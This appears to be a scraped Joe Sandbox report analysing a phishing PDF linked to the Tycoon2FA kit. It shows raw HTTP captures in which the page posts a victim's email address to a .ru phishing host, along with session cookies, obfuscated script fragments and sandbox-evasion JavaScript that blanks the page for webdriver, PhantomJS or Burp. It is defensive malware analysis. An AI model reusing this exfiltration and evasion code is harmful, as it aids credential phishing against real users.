.abs(a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var
2025-04-01 05:40:08 UTC	1369	IN	Data Raw: 41 5b 33 39 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 Data Ascii: A[39]),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w

Timestamp	Bytes transferred	Direction	Data
2025-04-01 05:40:08 UTC	1445	OUT	POST /lmnbmoPaBXmEDnZDfFrIawgoqOaI0y1O0vA2jy HTTP/1.1 Host: 86zv.vocalentr.ru Connection: keep-alive Content-Length: 32 sec-ch-ua-platform: "Windows" X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: https://86zv.vocalentr.ru Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://86zv.vocalentr.ru/3JO93Fm/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Im9lS3VJa3JmVUtMUmREYjFpT202L2c9PSIsInZhbHVlIjoiNEN6cDMzK1RTZlJhM0JMUkxteFA4T2dkNXhUYW9Fck9hM05nZnY1NlptT1VJT2lHWDBhM3l5Mlk5VmU3TWlhL2J0bkFDMDZCTXRqWmRCS01YQ2x5RS9OOVU5TkpkRnNUdi9LSVlJS0pzSUpZaVpKdzFoejRZc2hjK0paeURWWFciLCJtYWMiOiI0YzY1ODVmMTQyYmQzNjUzNzA3NmMwMDdhMDgwMzZiMTgwYmFkY2FmOGZlOGI0ZjdmMDEyYzNjZTEyNTgxYmU4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImtUQUZoNHpsUk55RGUydzR4dFFCVnc9PSIsInZhbHVlIjoiSy9aWU1RK0FCNk1yTEZpY1ZpL2lDcXFUT0REaFZuVkwraVdrUys3Tm9NQnJNajM5a3VsV3VETGV6QW1Mb3RUTFlOcXFrUzU3U04xVGtMbi9aNXRlUlFoRW5NWjdLbmlxRStGZThVc1daWm5WcnJGRWRndVRDVDBQakk4M3V2aFciLCJtYWMiOiJlNzljZWQ4N2Y2NThkNzc4YzYxY2Q4M2YzZmIwNWZiOTA3NjA5YjlmMTg4MWY3MmNiMGUxMmMzOWIxZmVhMGZjIiwidGFnIjoiIn0%3D
2025-04-01 05:40:08 UTC	32	OUT	Data Raw: 64 61 74 61 3d 70 4d 70 61 73 6b 6c 25 34 30 62 65 6c 6c 70 6f 74 74 65 72 2e 63 6f 6d 2e 61 75 Data Ascii: data=pMpaskl%40bellpotter.com.au
2025-04-01 05:40:09 UTC	1212	IN	HTTP/1.1 200 OK Date: Tue, 01 Apr 2025 05:40:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lp377OkQu3DMHQkmhe9Axj5T2HZNxzgNKGdT4pz60MN0QhyWqyUwIvPlkfn731SxFVWy5eZJ8rdVAfctOj9Whic8990%2BsIZXQ8kbA0Jwrq6DDcMUgcea%2Bi2WF99YemAid4vs"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=10335&min_rtt=10282&rtt_var=3894&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2394&delivery_rate=276988&cwnd=252&unsent_bytes=0&cid=d0f676cb3a2d223d&ts=418&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6ImIzYkY2OC80ZUJwSXJoZEpxZ29mWFE9PSIsInZhbHVlIjoiemQ3cnlqRmh2dmxtMTFtYWZhZm5pemRCSTlxSk9qZlJPalk0cHNkMEErQVhNdHhmeHcvbkVPOGdMRmZxOTJwOTFJa1RTbHBuSk5CMnNIQjRsUFdKTytFUko2cGJVcTY3cVdQVmJLOThZWlVBN1ZqVTd1SUliVEVSTUNJVnNsK1giLCJtYWMiOiI5NWY5YmNlOWEzNWUxZWM1OWQyN2MwNDBmZmZlZDhjMWEwNjg5YjVmYThiZTZhNjQ1MTMzNjdhZTRlYWU1MmI1IiwidGFnIjoiIn0%3D; expires=Tue, 01-Apr-2025 07:40:09 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-04-01 05:40:09 UTC	766	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6a 6c 6b 4b 32 4e 4a 4e 6c 4e 61 52 57 52 77 52 44 4e 4d 59 30 55 72 54 33 70 4f 63 58 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 53 47 55 33 62 6b 68 31 4e 48 46 61 59 56 56 46 61 6c 68 69 56 45 5a 42 5a 46 4a 7a 5a 45 35 55 63 6d 39 56 62 45 31 68 4d 54 41 32 59 31 70 73 61 57 35 68 56 6d 74 4d 4e 33 64 44 64 55 35 4c 53 57 4e 6b 65 56 6c 72 59 32 46 76 63 57 46 5a 4f 56 64 4b 5a 56 42 69 64 55 6b 79 51 6a 4a 70 52 31 6c 71 4d 54 46 53 54 33 6c 52 59 7a 4e 35 55 57 34 79 53 33 4e 52 61 45 78 69 64 30 56 57 4e 55 4a 4b 64 6d 56 45 62 48 4a 7a 4e 56 64 45 65 6a 4a 33 59 55 35 4a 61 6b 78 6b 4f 46 6c 52 62 54 4a 4b 52 44 64 56 56 32 51 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IjlkK2NJNlNaRWRwRDNMY0UrT3pOcXc9PSIsInZhbHVlIjoiSGU3bkh1NHFaYVVFalhiVEZBZFJzZE5Ucm9VbE1hMTA2Y1psaW5hVmtMN3dDdU5LSWNkeVlrY2FvcWFZOVdKZVBidUkyQjJpR1lqMTFST3lRYzN5UW4yS3NRaExid0VWNUJKdmVEbHJzNVdEejJ3YU5JakxkOFlRbTJKRDdVV2Q
2025-04-01 05:40:09 UTC	294	IN	Data Raw: 31 31 66 0d 0a 7b 22 61 22 3a 22 53 77 76 31 78 41 77 33 65 42 44 77 6c 5a 6c 33 4e 57 44 5c 2f 4e 55 30 62 68 76 72 64 79 63 74 68 71 62 61 52 42 42 5a 45 36 4e 50 4c 31 46 53 59 43 2b 31 51 75 69 4f 76 4d 6e 4a 58 44 77 4f 4a 73 41 54 4e 66 56 35 77 35 59 70 43 30 66 62 6c 74 43 67 58 55 34 6c 59 75 61 61 45 71 6c 68 6a 4a 31 45 73 56 6e 33 6d 59 34 64 36 61 51 6e 54 66 61 76 4c 45 6c 76 51 30 5c 2f 6f 36 72 6f 47 63 22 2c 22 62 22 3a 22 35 61 37 36 32 38 62 39 33 35 39 36 37 39 35 63 38 63 33 63 39 37 63 34 33 35 61 32 36 64 66 61 22 2c 22 63 22 3a 22 34 61 65 35 38 65 34 63 66 64 66 38 61 34 61 37 63 65 32 33 63 35 34 31 66 64 39 65 36 65 32 39 22 2c 22 64 22 3a 22 33 34 33 36 33 37 33 36 36 36 36 32 36 33 36 32 36 31 36 31 33 33 36 33 33 34 33 33 33 Data Ascii: 11f{"a":"Swv1xAw3eBDwlZl3NWD\/NU0bhvrdycthqbaRBBZE6NPL1FSYC+1QuiOvMnJXDwOJsATNfV5w5YpC0fbltCgXU4lYuaaEqlhjJ1EsVn3mY4d6aQnTfavLElvQ0\/o6roGc","b":"5a7628b93596795c8c3c97c435a26dfa","c":"4ae58e4cfdf8a4a7ce23c541fd9e6e29","d":"34363736666263626161336334333
2025-04-01 05:40:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-04-01 05:40:09 UTC	1142	OUT	GET /lmnbmoPaBXmEDnZDfFrIawgoqOaI0y1O0vA2jy HTTP/1.1 Host: 86zv.vocalentr.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImIzYkY2OC80ZUJwSXJoZEpxZ29mWFE9PSIsInZhbHVlIjoiemQ3cnlqRmh2dmxtMTFtYWZhZm5pemRCSTlxSk9qZlJPalk0cHNkMEErQVhNdHhmeHcvbkVPOGdMRmZxOTJwOTFJa1RTbHBuSk5CMnNIQjRsUFdKTytFUko2cGJVcTY3cVdQVmJLOThZWlVBN1ZqVTd1SUliVEVSTUNJVnNsK1giLCJtYWMiOiI5NWY5YmNlOWEzNWUxZWM1OWQyN2MwNDBmZmZlZDhjMWEwNjg5YjVmYThiZTZhNjQ1MTMzNjdhZTRlYWU1MmI1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjlkK2NJNlNaRWRwRDNMY0UrT3pOcXc9PSIsInZhbHVlIjoiSGU3bkh1NHFaYVVFalhiVEZBZFJzZE5Ucm9VbE1hMTA2Y1psaW5hVmtMN3dDdU5LSWNkeVlrY2FvcWFZOVdKZVBidUkyQjJpR1lqMTFST3lRYzN5UW4yS3NRaExid0VWNUJKdmVEbHJzNVdEejJ3YU5JakxkOFlRbTJKRDdVV2QiLCJtYWMiOiJmZWE5MTIxOTg4MTAyNjIwOTEyM2I4Y2E3YTg1NWQ4MWE3MjdjZTE4MTJmODZhZjdkZjk2NDNkODc1ZWJjNzA1IiwidGFnIjoiIn0%3D
2025-04-01 05:40:10 UTC	1040	IN	HTTP/1.1 404 Not Found Date: Tue, 01 Apr 2025 05:40:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dI0SykRMNK6k8Euhb%2BI2UQ2EbINTlH%2Bzjv5hAJikwO021TT8ihK28TubTp9HNXMHIWXM%2Bc3pWpy%2FWibKA4KCaF%2BRAs7ZxLct2xB1kxVHGdbjxA6o4%2BvwgGP9boGlEesykafg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=10513&min_rtt=10377&rtt_var=3989&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2058&delivery_rate=274453&cwnd=252&unsent_bytes=0&cid=1dd5f165f40cf4aa&ts=237&x=0" Server: cloudflare CF-RAY: 9295c00acc6a3344-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=91527&min_rtt=90271&rtt_var=20932&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2826&recv_bytes=1714&delivery_rate=32489&cwnd=252&unsent_bytes=0&cid=58f3ca4c4f053728&ts=605&x=0"
2025-04-01 05:40:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Employee Plan Selection.pdf

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Tycoon2FA

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

QR Codes

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8269cd83-1a48-490b-a57a-c31666173a4b.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF41b6a1.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e5005040-0564-4b6d-8bc7-13a290fc4a47.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-250401053925Z-158.bmp

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7056

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Windows Analysis Report
Employee Plan Selection.pdf

Timestamp	Bytes transferred	Direction	Data
2025-04-01 05:40:10 UTC	1476	OUT	GET /jfigmpgcjjilkrtg2MCIGDWH6DTCYAA?FDUZUVYKRPOLZNKMKDUXTU HTTP/1.1 Host: 86zv.vocalentr.ru Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://86zv.vocalentr.ru/3JO93Fm/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImIzYkY2OC80ZUJwSXJoZEpxZ29mWFE9PSIsInZhbHVlIjoiemQ3cnlqRmh2dmxtMTFtYWZhZm5pemRCSTlxSk9qZlJPalk0cHNkMEErQVhNdHhmeHcvbkVPOGdMRmZxOTJwOTFJa1RTbHBuSk5CMnNIQjRsUFdKTytFUko2cGJVcTY3cVdQVmJLOThZWlVBN1ZqVTd1SUliVEVSTUNJVnNsK1giLCJtYWMiOiI5NWY5YmNlOWEzNWUxZWM1OWQyN2MwNDBmZmZlZDhjMWEwNjg5YjVmYThiZTZhNjQ1MTMzNjdhZTRlYWU1MmI1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjlkK2NJNlNaRWRwRDNMY0UrT3pOcXc9PSIsInZhbHVlIjoiSGU3bkh1NHFaYVVFalhiVEZBZFJzZE5Ucm9VbE1hMTA2Y1psaW5hVmtMN3dDdU5LSWNkeVlrY2FvcWFZOVdKZVBidUkyQjJpR1lqMTFST3lRYzN5UW4yS3NRaExid0VWNUJKdmVEbHJzNVdEejJ3YU5JakxkOFlRbTJKRDdVV2QiLCJtYWMiOiJmZWE5MTIxOTg4MTAyNjIwOTEyM2I4Y2E3YTg1NWQ4MWE3MjdjZTE4MTJmODZhZjdkZjk2NDNkODc1ZWJjNzA1IiwidGFnIjoiIn0%3D
2025-04-01 05:40:10 UTC	1216	IN	HTTP/1.1 200 OK Date: Tue, 01 Apr 2025 05:40:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CEn%2FoZ13isKwsw1cpQOFRocP8t9JvUQhSqt5cqXbejl2Qp2RP9D%2Fp%2FX0bGPyfpZWgAxcTSKSarzBRHywNi64EROVcBKm6q3NO2cpH%2BfVAT9eCImWePFxrLZTajpoQiP8VEMQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=10405&min_rtt=10238&rtt_var=3958&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2391&delivery_rate=278179&cwnd=235&unsent_bytes=0&cid=7b95b181d6a2441a&ts=279&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6Im9Ec3VueUZ1L2xOZk40cFVQYWhIZGc9PSIsInZhbHVlIjoiSjV3S0xJdzZ5ZFJENC9DVGljRDhsZW9rUE5sTXVZR0hMUHJHb2ZtUzkycXJHU2wvdFFtdFhwK2hvenQzaVgwVkJLckJFdXZsd01yVUJzY2hhMXovOG9Dc25iSXRQa1VDbFYwc1owMGkrRTZIaVZnUFdYenNYQnJaanpuQVR1Y3oiLCJtYWMiOiIxN2Q0NjYxMGFkZGUzN2UzMjczOWMyNWFlYmVkOWM0YjMzZjgwZTg0OWQzYTE4YWJlMjc4OTVlMDAzNzcxZDNmIiwidGFnIjoiIn0%3D; expires=Tue, 01-Apr-2025 07:40:10 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-04-01 05:40:10 UTC	764	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6a 59 77 55 7a 55 79 4f 48 42 50 5a 32 52 42 63 6c 64 74 63 58 64 79 53 30 6c 35 61 48 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 61 53 39 30 5a 48 6c 49 4e 47 39 43 4d 47 68 50 51 31 4e 78 56 6c 4e 69 4d 6d 6c 47 4b 31 56 55 63 30 46 33 63 6a 68 33 54 47 6c 35 63 44 5a 77 56 45 74 36 53 58 5a 73 51 57 5a 61 62 31 55 31 51 55 35 6d 61 30 64 6a 5a 47 78 42 64 55 4a 43 61 31 56 45 4b 30 68 36 59 55 68 50 4c 32 56 43 52 6b 4d 33 51 6a 6c 72 61 33 4a 48 55 57 6c 68 55 45 56 43 51 6b 4a 74 63 32 38 30 4d 56 6f 77 52 32 70 47 56 45 56 56 55 43 74 4d 4e 56 52 33 4d 46 42 4a 63 46 56 4b 52 47 4e 44 52 45 35 45 52 44 4e 7a 55 46 6c 6e 56 32 77 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IjYwUzUyOHBPZ2RBcldtcXdyS0l5aHc9PSIsInZhbHVlIjoiaS90ZHlING9CMGhPQ1NxVlNiMmlGK1VUc0F3cjh3TGl5cDZwVEt6SXZsQWZab1U1QU5ma0djZGxBdUJCa1VEK0h6YUhPL2VCRkM3Qjlra3JHUWlhUEVCQkJtc280MVowR2pGVEVVUCtMNVR3MFBJcFVKRGNDRE5ERDNzUFlnV2w
2025-04-01 05:40:10 UTC	1369	IN	Data Raw: 31 30 33 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 74 69 74 Data Ascii: 103d<!DOCTYPE html><html lang="en"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <tit
2025-04-01 05:40:10 UTC	1369	IN	Data Raw: 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 74 6f 70 3a 31 32 30 70 78 3b 6c 65 66 74 3a 32 35 70 78 3b 77 69 64 74 68 3a 76 61 72 28 2d 2d 65 6e 76 57 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 32 35 29 20 30 20 34 70 78 20 35 70 78 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 68 61 64 6f 77 2d 66 61 64 65 20 76 61 72 28 2d 2d 64 75 72 29 20 69 6e 66 69 6e 69 74 65 3b 7d 0d 0a 23 66 6c 61 70 43 6f 6e 74 61 69 6e 65 72 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 65 6e 76 57 29 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 37 39 70 78 3b 7d 0d 0a 23 65 66 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 65 6e 76 57 29 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 34 31 70 78 3b 7d 0d 0a 23 65 66 3e 2e 6c 7b 77 69 64 74 68 3a 32 38 37 70 78 3b 62 61 63 Data Ascii: position:relative;top:120px;left:25px;width:var(--envW);box-shadow:rgba(0,0,0,.25) 0 4px 5px;animation:shadow-fade var(--dur) infinite;}#flapContainer{width:var(--envW);margin-top:179px;}#ef{width:var(--envW);margin-top:-41px;}#ef>.l{width:287px;bac
2025-04-01 05:40:10 UTC	1369	IN	Data Raw: 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 33 32 2c 30 2c 30 2e 36 37 2c 30 29 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 74 6f 70 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 63 61 6c 63 28 2d 31 20 2a 20 76 61 72 28 2d 2d 65 6e 76 48 29 29 29 20 72 6f 74 61 74 65 33 64 28 31 2c 30 2c 30 2c 39 30 64 65 67 29 3b 7d 0d 0a 2e 66 6c 61 70 54 72 69 61 6e 67 6c 65 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 66 6c 61 70 53 29 3b 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 66 6c 61 70 53 29 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 35 30 64 39 66 66 3b 6d 61 72 67 69 6e 3a 2d 34 38 70 78 20 61 75 74 6f 20 30 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 37 70 78 Data Ascii: ;animation-timing-function:cubic-bezier(0.32,0,0.67,0);transform-origin:top;transform:translateY(calc(-1 * var(--envH))) rotate3d(1,0,0,90deg);}.flapTriangle{width:var(--flapS);height:var(--flapS);background:#50d9ff;margin:-48px auto 0;border-radius:7px
2025-04-01 05:40:10 UTC	58	IN	Data Raw: 6c 61 74 65 59 28 63 61 6c 63 28 2d 31 20 2a 20 76 61 72 28 2d 2d 65 6e 76 48 29 29 29 20 72 6f 74 61 74 65 33 64 28 31 2c 30 2c 30 2c 39 30 64 65 67 29 3b 7d 7d 0d 0a 0d 0a Data Ascii: lateY(calc(-1 * var(--envH))) rotate3d(1,0,0,90deg);}}
2025-04-01 05:40:10 UTC	1369	IN	Data Raw: 32 61 62 32 0d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 69 66 20 28 6e 61 76 69 67 61 74 6f 72 2e 77 65 62 64 72 69 76 65 72 20 7c 7c 20 77 69 6e 64 6f 77 2e 63 61 6c 6c 50 68 61 6e 74 6f 6d 20 7c 7c 20 77 69 6e 64 6f 77 2e 5f 70 68 61 6e 74 6f 6d 20 7c 7c 20 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 69 6e 63 6c 75 64 65 73 28 22 42 75 72 70 22 29 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 20 3d 20 22 61 62 6f 75 74 3a 62 6c 61 6e 6b 22 3b 0d 0a 7d 0d 0a 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6b 65 79 64 6f 77 6e 22 2c 20 66 75 6e 63 74 69 6f 6e 20 28 65 76 65 6e 74 29 20 7b 0d 0a 20 20 20 20 66 75 Data Ascii: 2ab2 </style> <script> if (navigator.webdriver \|\| window.callPhantom \|\| window._phantom \|\| navigator.userAgent.includes("Burp")) { window.location = "about:blank";}document.addEventListener("keydown", function (event) { fu
